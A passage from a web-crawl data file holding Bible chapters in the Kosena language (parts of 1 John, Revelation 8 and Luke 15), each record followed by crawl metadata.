isa'á kwempá'á tiráantave'a maanáúváí agaimái kwétimune. anón-kwaasiyono. ááinka'a moóráwai maémáimba kwemá ívékwara'a máyáísa'a kwená ááimba kwéisaantave'a maanáúváí agaimái kwétimune. ívé-kwaasiyono. asiramái mé'a Áánútun-aai tirumpimbá tátore'a Sáátáánigomba usáyaaitaraantave'a maanáúváí agaimái kwétimune. 15Áánútumpa'o ímo tiráawaimo ontembá mindáyave'a aamoí íma oró. marapákén-tántáátávé'a aamoí íma oró. marapákén-tántáátávésamo aamoimó owáímá Áánútuntavesa íma aamoí kwéowe. 16marapákén-kwáásímó kwéowaina ááimba íma Áánútumpakemba kwéowe. kwaási kentí imáyáavinkemba kwéesa á'owiti náaindaamba túran-anda kwéesa túwí'a maimaésa kwéiyesa kwéomba íma Áánútumpakemba kwéovo marapákén-ámbá kwégwaraawe. 17marapákén-tántáá'ó tirááímo kwétain-tantaa'a maambárá'á ánásainasa Áánútumba arááíma tainí'a kwéon-kwaasi aasiyaasí maí'mai'a ónááowe. 18kesí iyámpóíyono. naaén-kanaa maramó ánásanin-kanaa sáwíyanka'a tíníye. naaémba Ísu Káráísitina namuro-kwáásígó tíníye suwa'á ísaraawe. Káráísitina namuro-kwáásí sáwíva'a á'a paáruraamba póta mindáyaveta naaén-kanaa sáwíyanka'a tíníye kwésune. 19kentáávínkémbá Káráísitina namuro-kwáásí moórá-mora máyómba pósa usásimbai paárésa siyuwésaya kóuraawe. árai'o kentáásí kwaásimo máyáankakai úwoi máésino. siyuwésaya kóuraantaveta íma kentáásí kwaásin-owe kwésune. 20Ísu Káráísiti Áánútun-amankomba ai'marówana kuména kentirumpimbá máyáísa'a pó'a árair-aimba kwéisaawe. 21árair-aimba íma kwéisaantavaiye sé'a ímanivo árair-aimba kwéisaantave'a maanáúváí kwéagayaumne. árair-aimpinkemba kampar-áímbá íma paárisa'a ísaraantave'a maanáúváí agaimái timúne. 22anón-kampa'o sen-kwáásí maarán-kwáásímán-owe. Ísu Káráísitintavesa Áánútu íma usásinankaraiwaiman-iye kwésen-kwaasi ésa Ísu Káráísitina namuro-kwáásí-í'a ésa Áánútunte ááninkonte tínaaemba kwéumatimewe. 23Áánútu ááninkomba tínaaemba umámewai avowánkwárá'á mirá kwéombanivo Ísu Káráísitintavesa Áánútu ááninkoman-iye kwésewai ááninkonte avowántéyópa'a tarúmai máyáawe. 24Ísun-aai aiva'á ísaraan-aimba tirumpimbá asiramái tátoraamba íma ivátuwe'a miráumai Áánútunte ááninkonteyopa'a tarúmai maí'mai'a oró. 25maarán-áímbá Ísu Káráísiti asiramái simásimenaya séna aúnái'a umái maí'mai'a ónááoni'a kwéumatinkaumne simásímakaintaawe. 26kampar-áímbá simátiyuwaavo sé'a maanáúváí agaimái timúne. 27kampar-áímbá simátiyuwaawai kwéombanivo Ísu Káráísiti Áánútun-amamba tirumpimbá tínkaraimba póna maí'mai'a éna íma kampar-áímbá simátimena árair-aimba kwésimatimiye. mirámó kwésimatimisa'o ombá árair-aimba kampar-áímbá taaínkaa'a kwéowe. simátímíntemba mirá é'a Ísu Káráísitiye tarúmai kwémaewe. 28kesí iyámpóíyono. kwesé tarúmai máyáamba pó'a Ísu Káráísiti kumíndara'a kwenaúranka'a íma tigaeyávé'a é'a úwoi asiramái ménaaowe. 29Ísu Káráísiti arupí umái máyáin-aimba á'a ísaraawe. moórá-ainkwara'a ísáaro. miráumai arupí umái máyáawai árai'a Áánútuna iyámpóíman-owe.\n1 Yóni 31Áánútu arumbá ávááraumai kwésimiye. mindáyave'a imáyáa oró. Áánútu arumbá kwésimenayaampona kentááyávéna kesí iyámpóíman-owe kwésiye. kesáá árai'a kwená iyámpóíya úne. Áánútumpa'a íma tiráawai Áánútuna ááimba íma awánésa kentáásí ááinkwara'a íma kwésuwanaawe. 2kesí kwaásiyono. ívé'a Áánútuna iyámpói'a umáíya máyaundaya naaémba nóra kwaásiyaawa ménaumno. mináímbá íma ísaraundanivo moórá-aimbo ísaraunda simátimenaumne. Ísu Káráísiti kumíndara'a kawe'á umái awánanaundaya póta kwenkááníta umáíya ménaumne. mirán-áímbá ísaraumne. 3mináímbá isésa amu'máráawai Káráísiti arupí umáímo máíntemba arupí umái máyáavo kárákwiyoro. 4sáwí-imayaamo kwéomba isaná ámáámbo arááísémba isaná minkáé-tántáákó mimbóráí'a kwéiye. miráumai sáwí-imayaamo kwéowai Áánútuna ámáámba tínaaemba umámesa kwéaraaisemba póna mirámó kwéon-anonda miwívímbá kwéniye. 5Ísu Káráísiti kwaásiti sáwí-imayaa maitiyuwáníntavena marapá'á kunkáimba kwempímbá sáwí-imayaa íma kwáyáiye-aimba á'a ísaraawe. 6miráumai Ísu Káráísitiye tarúmai máyáawai miwívímbá íma sáwí-imayaa kwaíkwai'a kwéivo sáwí-imayaa kwaíkwai'a kwéiwai Káráísitimpa'a íma tésa kwenáái íma kwéisaawe. 7kesí iyámpóíyono. kampar-áímbá simásiyuwaavo sé'a kárákwiyoro. Káráísiti arupí umái máyáiwai kwemó intembó mirámó úmae kwéiyowai arupí-kwaasiman-owe. 8ááinka'a Sáátáánigo sáwí'a uréna mirá úmae kwéiyena ívékwara'a mirá kwéiye. sáwí'o úmae kwéiyowai Sáátáánigona kwaásiman-owe. Sáátáánigona mayáí ánásasuwainkwae séna Áánútu ááninkomba ai'marówana marapá'á kunkáiye. 9Áánútuna iyámpói pósa Áánútuna asirayánkó miwívímbá kwáyáintavesa pósa íma sáwí'a úmae kwéiyowe. Áánútuna asirayán-áráátómbá pósa íma sáwí'a úmae kwéiyowe. 10ímo arupí umáímo máyáawai íma Áánútuna iyámpóíman-owe. kentí kwaásimo tirumbó ímo kwétimewai íma Áánútuna iyámpóíman-owe. miráumaiya Áánútuna kwaásiye Sáátáánigona kwaásiye taaímbaiya ísaraumne. 11moórá-mora-kwaasivimba tirumbá tíméro-aimba ááéma ísaraawe. 12Áándamu ááninko áwí'a Kááinimo uráintemba íma mirán-oro. Kááini Sáátáánigon-áráá'a póna ávákomba tuvuwúwana pukáimba maarántávéna tuvuwúwana pukáiye. áváko kawe'á umái máyowana Kááini sáwí'a umái ména póna ávákomba tuvuwúwana pukáiye. 13miráráán-umai Áánútumpa'a íma tiráawai keinárawapa'a tirumbá sáwí'a umátinkaiyantavena íma táá'a kaíno. 14Áánútun-akumba sirumbá kwétimundayaveta séta Áánútuna némpa'a maénaundawaina ááimpa'a tuwéta kawe'á umái maénaundawaina ááimpa'a tamáyaumne kwésune. kentí kwaási tirumbá íma kwétimewai Áánútuna némpa'a paaí máyáawe. 15kentí kwaásiyavai tíyámba umátínkáan-kwaasi tínkamiyasa puwónááon-kwaasiraamban-owe. mirámó kwéowai aúnái'o umáímo maí'mai'o kwéowaina ááimpa'a íma máyáawe. 16Ísu Káráísiti arumbá siménaya íma úwoi máímba súwa'naa íníntavena kentááyávéna ísámai pukáiye. mirá uráintaveta arumbá símakaiye kwésune. Áánútun-akumba túwa'naa eta puwúnavo íma sendayá úwoi túwa'naa ónaumne. 17óísankwara-kwaasi kentí kwaási toómbá íma makáawaima tuwánésa íma túwa'naa ombá sésa Áánútumba sirumbá kwéamune sembá kampa'á kwésewe. 18kesí iyámpóíyono. sirumbá kwétimunemo sembá íma tóikakemba sé'a árai'a tirunkakémbá kwése'a túwa'naa oro. 19sirumbá kwétimetaamo kwétuwa'naa-undaya mirámó únda-kwaasiya arupí umáíya kwémaumne. mirámó kwéunda Áánútu aúrankata asiramáíya kwémaundayaawe. 20ánivo kesáá sáwí'a úndayavenaya kentáásirunko umbaí kwétaivo Áánútu amápa-tantaa'a awánéna minúmbáí-yántáákómbá usáyaaitaisata Áánútu aúrankata asiramáíya máyaumne. 21kesí kwaásiyono. mindáyaveta imáyáa úndaya kentáásirunko íma umbaí taisatá Áánútu aúrankata asiramáíya máyaumne. 22kwenáái taagwiyavétaawe kwemó aamoimó iní'a kwéundayavetaawe áísaa únda-yantaa'a úwoiya kwésimiye. 23Áánútu asiramái séna kesááninko Ísu Káráísitin-aaiyave'a áraire sé'a kwenká'á agevamái mé'a amápa-kwaasivimba tirumbá kwétime'a máéro siráimba mináímbá Ísu Káráísiti asiramáíya simásímakaiye. 24Áánútun-aai taagwiyávówai Áánútuwe tarúmai máyáawana miwísé tarúmai máyáiye. Áánútu kwenamambá ai'marówana sirumpintá kumbéna simásimenaya séna Áánútu keinárawate tarúmai máyáiye kwésisata kwéisaumne.\n1 Yóni 41kesí kwaásiyono. sáwíva-kwaasi kampa'-mónór-áímbá simátíma'maesa kwénaaesa Áánútun-amanko kesirumpimbá máyáiyemo sembá íma ááéma áraire seró. mirá sentávé'a miwí tirumpimbá máyáin-amamba Áánútun-amana'i. á'owan-amana'iyo. mindá awáné'a mináímbá ísáaro. 2Ísu Káráísiti Áánútunopakemba marapá'á kwaási kunáúkaiye kwésewai miwí tirumpimbá Áánútun-amanko máyáiye. mináímbó sewa'ó ísáamba Áánútun-amankoma miwívímbá máyáiye seró. 3Ísu Káráísitintavesa mináímbá íma sewáí miwí tirumpimbá máyáin-amanko íma Áánútun-amankoman-ivo Káráísitina namuro-kwáásígón-amankoman-iye. Káráísitina namuro-kwáásígó tínín-aimba ísaraamba isaná marapá'á máyáiye. 4kesí iyámpóíyono. Áánútu áráá'a é'a kampa'-mónór-áímbá kwésimatimewai usáyaaitaawe. Áánútun-amanko kentirumpimbá máyáivo Áánútumpa'o ímo tiráawai miwí tirumpimbá ó'on-amanko máyáiye. Áánútun-amanko minámánkómbá usáyaaitaraiye. 5kampa'-mónór-áímbá kwésimatimewai Áánútumpa'a íma tembá marapá'á kwémaen-aimba kwésimatimewasa marapá-kwáásí miwí táái kwéisaawe. 6kesáá Áánútuna kwaásiya únasaya Áánútuna kwaási kesááiya kwéisaavo ó'on-kwaasi íma Áánútuna kwaási pósa kesááiya íma kwéisaawe. miráumaiya árair-amanko miwívímbá máyáin-kwaasiye kampar-ámánkó máyáin-kwaasiye taaínkaar-úmaeta kwéiyune. 7kesí kwaásiyono. tirumbá kwétimewaina ááimba kwemá Áánútuma póta Áánútun-akumba sirumbá tíméno. tirumbá kwétimewai Áánútumpa'a tésa kwená kwaási-i'a kwéowe. 8Áánútu tirumbá kwétimewaina ááimba pósa tirumbá íma kwétimen-kwaasi Áánútumpa'a íma kwétewe. 9Áánútu mimbórá ááninkomba ai'marówana marapá'á kumbéna kentááyávéna ísámai puwéna aúnái'a umái maí'mai'a ónaundayavenaya puwéna arumbá símakainta póna mirá uráiye. 10Áánútumba siruntáámó amúndaya íma anónta ámakaumne. Áánútu arumbá símakenaya ááninkomba ai'marówana marapá'á kumbéna sáwítaamo uráunda-meyamba maisiyuwáínana kentáává'á íma tíníntavena pukáiye. mirámó uráimba Áánútu anómba arumbá símakaiye. 11kesí kwaásiyono. Áánútu miráumai arumbá kwésimimba póta kentáásí kwaási miráumai siruntá tíméno. 12kwaási Áánútumba ane'á íma kwéawanaawe. kentáásí kwaási siruntá kwétimunda Áánútu keséya máyáísata árai'a siruntá Áánútumba kwéamune. 13Áánútun-amanko kentáásirumpimba máyáintaveta séta kesáá Áánútuwe tarúmai máyaunanaya Áánútu keséya tarúmai máyáiye-aimba kwésune. 14kentáásivowa ááninkomba ai'marówana sáwí'o umáímo máyáampinkemba iyátinkaindayavena marapá'á kumúwata awánaraunda kwésimatimundayaawe. 15Ísuntavesamo Áánútu ááninkoman-iye kwésewai Áánútuwe tarúmai máyáawana Áánútu miwísé tarúmai máyáiye. 16Áánútu arumbá kwésimisata mindáyaveta áraireya kwésune. Áánútu tirumbá kwétimewaina ááimba pósa tirumbó kwétimewai Áánútuwe tarúmai máyáawana Áánútu miwísé máyáiye. 17Áánútu kentáá imáyáa símakaisata siruntá Áánútumba kwéameta póta máyaundawaina ááimbo sísaa ínín-kanaamo tíndara'a asiramáíya ménaumne. Ísu Káráísiti arumbá símíntenta marapá'á máyaundarata siruntá kwétimundaya póta sísaa ínín-kanaamo tíndara'a asiramáíya ménaumne. 18Áánútumba tirumbá kwéamewai íma kwéinkaisewe. árai'a Áánútumba tirumbá kwéamewai miwívínkémbá inkaisí-ímáyáá íma kwáyáiye. sáwí'o uráam-beyantavesa kwéinkaisewai Áánútumba íma árai'a tirumbá kwéamewe. 19aiva'á Áánútu arumbá símakaintaveta póta siruntá kwéamune. 20miwítí kwaásiyavesa tirumbó sáwí'o kwéumatinkaawa'o ombá Áánútumba sirumbá kwéamune sembá kampa'á kwésewe. miwítí kwaási tine'á tuwánésa tirumbá íma tímakaawai pósa Áánútun-ane'a íma awánaraawai íma kanaán-umai tirumbá kwéamewe. 21Ísu Káráísiti asiramái séna Áánútumba tirumbá kwéamewai miwítí kwaásigwara'a tirumbá tíméro siráiye.\n1 Yóni 51Ísuntavesa sésa Áánútu usásinankaraiwai iyémó sen-áíntávésa áraire kwésewai Áánútuna iyámpóíman-owe. avowámbá tirumbá améwai ésa kwená iyámpóígwara'a tirumbá kwéamewe. 2Áánútumba siruntá améta kwenáái taagwiyavéta póta mirá kwéundayaveta séta Áánútuna iyámpóígwara'a siruntá kwétimune. 3Áánútun-aai taagwiyavúndaya mindá Áánútumba siruntá kwéamunanaya kwenááigoya íya umbaiyá kwésiyaisata póta kwétaagwiyavune. 4Ísumpa'a asiramái agevamái máyaundaya póta marapá-sáwí-máyáígómbá kwéusayaaitaundayaawe. Áánútuna iyámpói amápa'a kanaán-umai marapá-sáwí-máyáígómbá kwéusayaaitaamba póna Áánútun-aaigoma íma umbaí kwétaiye. 5maarán-kwáásí marapá-sáwí-máyáígómbá kwéusayaaitaawe. Ísuntavesa Áánútu ááninkoman-iye kwésewai marapá-sáwí-máyáígómbá kwéusayaaitaawe. 6Ísu Káráísiti marapá'á kuména nombá peréna puwúwana kwená naaemá kunkáiye. nombá peráníntavenawe su'mai íma kunkáiye. nombá peréna puwínana kwená naaemá kuníníntavena kunkáiye. Áánútun-amanko árair-ainkona ááimba póna séna áraire Ísuma Áánútu ááninkoman-iye kwésiye. 7- 8Áánútun-amanko siráin-aintaveta nombá pékaintaveta puwúwana kwená naaemá kunkáintaveta séta Ísuma Áánútu ááninkoman-iye kwésune. minkáúmbó-yántáá'á paáruraintaveta mimbórá-áímbá séta Ísuma Áánútu ááninkoman-iye kwésune. 9kwaásimo simátímén-aimba sewatá iséta áraire kwésundayaanivo Áánútun-aaigo kwaási tááigomba usáyaaitaimba póta Áánútu ááninkontavena siráin-ainta ísáano. 10Áánútu ááninkontavesa asiramái agevamái máyáawai sésa Áánútu siráintemba áraire Ísuma Áánútu ááninkoman-iye kwésewe. Áánútuntavesa íma asiramái máyáawai sésa Áánútu kampar-áímbá siráiye kwésewe. kwemá Áánútu ááninkontavena siráin-aintavesa íma áraire senkákémbá Áánútu kampar-áímbá siráiye kwésewe. 11Áánútu ááninkoma aúnái'a umái maí'mai'a kwéowaina ááimban-iye. Áánútu imáyáaya símísata aúnái'a umái maí'mai'a kwéundayaawe. mináíntá Áánútu simásímakaiye. 12Áánútu ááninkoe tarúmai máyáawai aúnái'a umái maí'mai'a kwéovo Áánútu ááninkoe íma tarúmai máyáawai íma aúnái'a umái maí'mai'a kwéowe. 13Áánútu ááninkontave'a asiramái agevamái máyáan-kwaasi keinárawa'a maanáúváí agaimái timúne. aúnái'a umái maí'mai'a kwéon-aintave'a áraire sígwáe sé'a maanáúváí agaimái timúne. 14Áánútumbo arááímo tainí'o kwéetaamo námúnaavinkembo áísaa úndaya kesááiya kwéisaiye. mindáyaveta kwenaúranka'a asiramáíya máyaumne. 15námúnaa súndaya kwéisain-aintaveta árair-aimban-iye kwésundaya maarán-áíntáváígwárá'á árair-aimba námúnaavinkemba súnda-yantaa'a úwoiya kwésimiye kwésune. 16kentí kwaásimo sáwí'o kwéiya'o tuwáné'o é'a Áánútumpa'a áísaa íyana túwa'naa ínasa Áánútuna némpa'a sáwí-ayampa'a maí'mai'a ónááopa'a íma kónááowe. évaka-sawi'o kwéowaina anondá-meyamba Áánútuna némpa'a sáwí-ayampa'a maí'mai'a ónááopa'a kónááomba mindáyave'a Áánútumpa'a áísaa oro íma kwésune. évaka-sawi'o kwéowaina anondá-meyamba íma Áánútuna némpa'a kónááomba mindáyave'a sé'a Áánútumpa'a áísaa oro kwésune. 17amápa-sawi'o kwéowaina anondá-meyamba kwáyáivo évaka-sawi'o kwéowaina anondá-meyamba Áánútu maitiyuwáínasa kwená némpa'a sáwí-ayampa'a maí'mai'a ónááopa'a íma mirá-sáwí'ó kwéiya'o tuwáné'o é'a Áánútumpa'a áísaa íyana túwa'naa ínasa Áánútuna némpa'a sáwí-ayampa'a maí'mai'a ónááopa'a íma kónááowe. 18Áánútuna iyámpói ésa íma sáwí'a úmae kwéiyowe. Áánútu ááninko kárákwiraisana póna Sáátáánigo íma kwétatoraisasa pósa íma sáwí'a úmae kwéiyowata mináíntá kwéisaumne. 19Sáátáánigo marapá-kwáásítí anóndakoman-ivo kesáá Áánútuna kwaási éta mináíntá kwéisaumne. 20Áánútu ááninko kuména imáyáa símísata árair-Isoigo-uramba isatá kwéawanaumne. Áánútu ááninko Ísu Káráísitiye tarúmaiya máyaundayaveta árair-Isoigo-uranteya tarúmaiya méta kwéisaumne. árair-Isoigo-uranko éna kwaásiya aúnái'a umáíya maí'mai'a kwéundawai ááninkoman-iye. 21kesí iyámpóíyono. kwaántá-kwaasi kampar-ísóígómbá tínaaemba umátíméro. kemá Yóni kesáái ánásaiye.\nhttp:\/\/www.bible.is\/KZEWBT\/1John\/1\/D","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/femissionaria.blogspot.com\/2015\/06\/1-yoni-kosena.html","date":"2017-08-21T13:46:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886108709.89\/warc\/CC-MAIN-20170821133645-20170821153645-00315.warc.gz","language":"kze","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"kze_Latn_score\": 1.000009298324585}","num_words":1906,"character_repetition_ratio":0.073,"word_repetition_ratio":0.009,"special_characters_ratio":0.157,"stopwords_ratio":0.194,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Revelation of John 8\nnaaé-sanomba tátukain-kwasai.1 simásímatuwowana sipisípi-araakaawai kentáásí sáwí-meyambo mairáiwai naaé-sanomba tátuwowana kwíyómpaꞋa sáwíyankaꞋa íma aaí sésa íma túwaai kwésuwaꞋa 2 awánaawanda Áánútu aúrankaꞋa kwíyómpaken-kwayoꞋnarawaꞋa avakaeté máyówana moóráwai avakaeté-uwiremba timúwasa maisorésa máyówana 3 moóráwai kwíyómpaken-kwayoꞋnaꞋa kawááin-avaona egwaaꞋá taména áséi-kwiyumba ún-kanama agáyón-taareiraꞋa taména óntanko áwíꞋa kóri-ontandei úmakon-taaveꞋa torówana áséi-kwiyumba ún-kanama agayáínkwáe séna sáwíva-kanama aména séna Áánútuna kwaási kwempáꞋó námúnaamo kwésen-ainkwaraꞋa kwéisaiye súwana 4 tátokon-taavepimba agaimarówana úmúmba iyúwana Áánútu iséna kwená kwaási námúnaamo sun-áínkwáráꞋá isówana 5 minkákémbá mintáávéꞋá mairéna taareirákémbá iráámba maimái mintáávépímbá marówana iramá kówana marapáꞋá tuwówana kwíyónaai kwésuwana awairái kwésuwana tawáomba kwéuwana anóm-barima taráiye.\navakaeté-uwirenkona kwaasái.6 maríma tówasa minkákémbá minávákáété-kwayoꞋnarawaꞋa kwíyómpakewai uwíremba tuvuwíyanesa toꞋmayaa uwaná 7 aivakéwai uwíremba tuvuwúwana kaaígwara iragwárá naaegwáráꞋá tuwówana marapáꞋá kuména moórá-ayampaꞋa maragwárá taaigwará amápaꞋa owáígwáráꞋá iramá kagúwana kaer-áyámpáꞋá taaigwará maragwáráꞋá kaweꞋá uráiye.\n8 úwana miwá ánaaemba moóráwai uwíremba tuvuwúwana anón-tantaaꞋa omákaan-tantaaꞋa iramá kamái karáꞋmaena uwí-nómpímbá kumúwana kaer-áyámpáꞋá kaweꞋá úwana moórá-ayampaꞋ-nomba naaeráámbá úwana 9 mináyámpáꞋá máyówai amápaꞋa púwúwana nompí-sípí amápaꞋa tawísímai ánásasukaiye.\n10 ánásasuwowana minkáéꞋnárai tínaaemba moóráwai uwíremba tuvuwúwana oómbó kúráráantemba anón-oko áwíꞋa ikaaꞋá vain-óꞋán-iye suwaná kwíyómpakemba kásímaena nompákwárá nonayumpinkwáráꞋá kumúwana mindómbá ikaaꞋá vówana kaer-áyámpáꞋá nombá kaweꞋá úwana moórá-ayampaꞋa nombá ikaaꞋá vówasa sáwíva-kwaasi nésa pukáawe.\n12 púwúwana minkáúmbónárau tínaaemba moóráwai uwíremba tuvuwúwana aaváúmá kwíyómba oꞋá kaer-áyámpáꞋá kaweꞋá úwana moórá-ayampaꞋa túnkuwana aaváyaavinkemba sán-karéna aaváúmá toráétáápaꞋa marówana túnkena noꞋwáán-avuntamba sán-karéna eénáínkaꞋa túnkena mirá úwaꞋa 13 awánaawanda anón-evontaanko sanaan-úramba araravámaena kwénaaena anónkaꞋa séna kaumbo-sáwí-méyámbá marapá-kwáásítópaꞋa kuména kwíyómpakemba kaumbonárau úwoi máyáamba pósa mindáraumo uwírembo tuvuwíyana marapá-kwáásítópaꞋa sáwí-meyamba kumíníye súwaꞋa ísaraumne.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rev.8","date":"2018-04-24T10:49:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946597.90\/warc\/CC-MAIN-20180424100356-20180424120356-00520.warc.gz","language":"kze","language_score":0.9995496273,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9995496273040771}","num_words":393,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.051,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Luke 15\nsipisípi-poimo áúyokain-kwasai.1 táákísi-ontamba kwémayon-umoyan-kwaasiye sáwíꞋa kwéun-kwaasiye ÍsunopaꞋa kwenáái isánáe sésa tuwasá 2 ámáán-kawaa-kwaasiye ámáámba sun-kwáásíyé tuwánésa tirunkó sáwíꞋa úwasa keáímbá sésa sáwí-kwaasiye toómbá kwénena aaí kwésimba sáwíꞋa kwéiye suwaná 3 Ísu mináímbá iséna kwántámai-aimba séna 4 sipisípiraꞋa kárákwiyowai kwéon-aimba ísáaro. moóráwai sáwíva-sipisipi 100 sipisipiraꞋa kárákwiraisana moórá-sipisipi áúyokwisasa misáwívá-sípísípí uváꞋá máyáawana moóráma áúyokwimba koavakáá-émena awánéna 5 aamoí kwéena áúgwaataꞋmaena 6 naaópaꞋa téna kwenamááraawe kwená naaópaken-kwaasiye tááyaisasa torupamái máyáawana séna kesí sipisípi áúyokwisaꞋa koavakáá-émeꞋa áíꞋmaeꞋa túmpo aamoiyá ónáe sisasá aamoí uráawe. 7 simátimeꞋa séꞋa miráumai kwíyómpaꞋa máyáawai marapáꞋá tuwánaamba arupí umái máyáan-kwaasi kaweꞋá umái máyáamba tuwánésa aamoí kwéowasa sáwíꞋa umái máyáampinkemba sáwí-imayaa tuwésa ÁánútunopaꞋa tíyasa Áánútuna kwayóꞋnárawaꞋa kwíyómpaꞋa máyáawai anón-aamoi kwéowe Ísu siráiye.\nóntamba áúyokain-kwasai.8 Ísu séna moórá-aimba imáyáa oró. moórá-ininko siyáánkai-ontan-arumba makáisana moórá áúyokwisana oómbá kúraꞋmakena kwená naaúmpaꞋa kankambá kwégwiyuvena kaweꞋá umái avakáá-éna 9 awánéna kwenamááraawe kwená naaópaken-kwaasiye tááyaisasa torupamái máyáawana simátimena séna kesí óntamba áúyokwisaꞋa avakáá-émeꞋa mayáúmpo aamoí íyataao sisasá aamoí uráawe. 10 simátimeꞋa séꞋa miráumai sáwíꞋa umái máyáampinkemba sáwí-imayaa tuwésa ÁánútunopaꞋa tíyasa Áánútuna kwayóꞋnárawaꞋa kwíyómpaꞋa máyáawai anón-aamoi kwéowe Ísu siráiye.\nívé-kwaasigo avowámbá auwéna kóurain-kwasai.11 Ísu séna moórá-aimba imáyáa oró. moóráwai kaer-íyámpóí tínkaraiwai máyáísana 12 naaénkewai avowántávéna séna ená amápa-tantaaꞋa ímo pukéndaraꞋa ívéꞋa taaímbai simiyó sisaná taaínkaar-umai ááninkai tímísana 13 naaénkewai sáwíyankaꞋa ména kwembó ámakain-daaindaamba kwétimena óntane suꞋmai maimaéna némpaꞋ-maravaꞋa koména sáwíꞋa úmaena kwéiyena kwená óntamba tuꞋmái 14 ánásasuwaisana anón-ayawaima taisaná toóntávéna avakáá uwááena 15 mimbárávákén-kwáásígónópaꞋa kwéna mayáí mayánáe kosímae íyísana kesí maraváꞋá komé kesí póíraꞋa kárákwiyuwo sisaná 16 koména póíraꞋa kárákwirena ááesantavai úmae kwéiyena póíti toómpínkémbá nánáe séna sisasá íma áméwana 17 ména naaémba kawer-ímáyáá éna séna kesivoná mayáí-kwáásí sáwíva-tomba nawááesa tímúꞋa vaisasá aráávaraꞋa kwéomba póꞋa maankáꞋá méꞋa sáái sinkáínaꞋa puwúnavaimpoꞋa 18 maankáꞋá tuwéꞋa kesivonópaꞋa kwéꞋa séꞋa kesivoó Áánútu aúrankare enaúrankare sáwíꞋa únda póꞋa 19 kentáváí kesáánine sénda uwóvíꞋa ómpo kesí mayáí-kwáásíyé siyó kosénaumne séna 20 miváꞋá tuwéna teémena aampaꞋá kwétisana némpakemba avowámá awánéna aruntavéna umánkena isaaiséna koyaparéna iviꞋá kwétaisana 21 ááninko séna kesivoó Áánútu aúrankare enaúrankare sáwíꞋa uráumpo kentáváí kesáánine sénda uwóvíꞋa óne sisaná 22 avowámá mináímbá ivá kwéyuwena kwená mayáí-kwáásí tááyaisasa tewaná séna avekáámbá kawer-únánkwátói maimaé mágwéumankeꞋa kesáánimba intávéꞋa kwairambá kwéumankeꞋa aísamai ánáamba kwéumankeꞋa 23 ánóígwara-purumakan-araaꞋa maimaéꞋa máyuvuꞋmai aamoi-tánómbá kauvíyata kwéneta aamoiyá umánkáano. 24 kesááninko áúyokurai. pukurái. kwésunana úwoi ména timbá póta aamoiyá ónaumne sisasá aamoí uráawe.\n25 aamoí owaná aivakéwáí kígauvakemba timbá naankóná egwaaꞋá téna aamoí on-áímbá taiséna 26 mayáí-kwáásígómbá ááyena séna nóinkara aamoí kwéoo sisaná 27 enáváꞋa kaweꞋá umái tiráisana enavo séna ánóígwara-purumakan-araaꞋa tuvúꞋmái kaúvóro sisasá mirá kwéesa máyáawe sisaná 28 mináímbá ísáísana arunkó sáwíꞋa isaná kayoréna íma naaúmpaꞋa íyísana avowámá máápaꞋa kuména aivakéwai arumbá kusimái íyáísana 29 avowántávéna séna ayáátáákaꞋa esé méꞋa sáwívar-ima kwémaisuweꞋa enáái íma ankaiséꞋa emó séndantemba mirá kwéuna anóm-poiye sáwíyam-poi méme-araare íma tuvú-simenaꞋa kesí kwaásiye naráumne. 30 enááninko ená anón-ontamba maimaéna koména aarai tineꞋá minóntámbá máyuꞋmai ánásasuwena tisa ánóígwara-purumakan-araaꞋa tuvúꞋmái kwégaumai améne sisaná 31 avowámá séna ayáátáákaꞋa kesé máyaanda kesí amápa-tantaaꞋa endéín-iye. 32 enáváko áúyokurai. pukurái. kwésunana úwoi ména tintávéta aamoiyá kwéumankaumne siráiye Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.15","date":"2018-04-24T03:13:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946453.89\/warc\/CC-MAIN-20180424022317-20180424042317-00021.warc.gz","language":"kze","language_score":0.9999849796,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 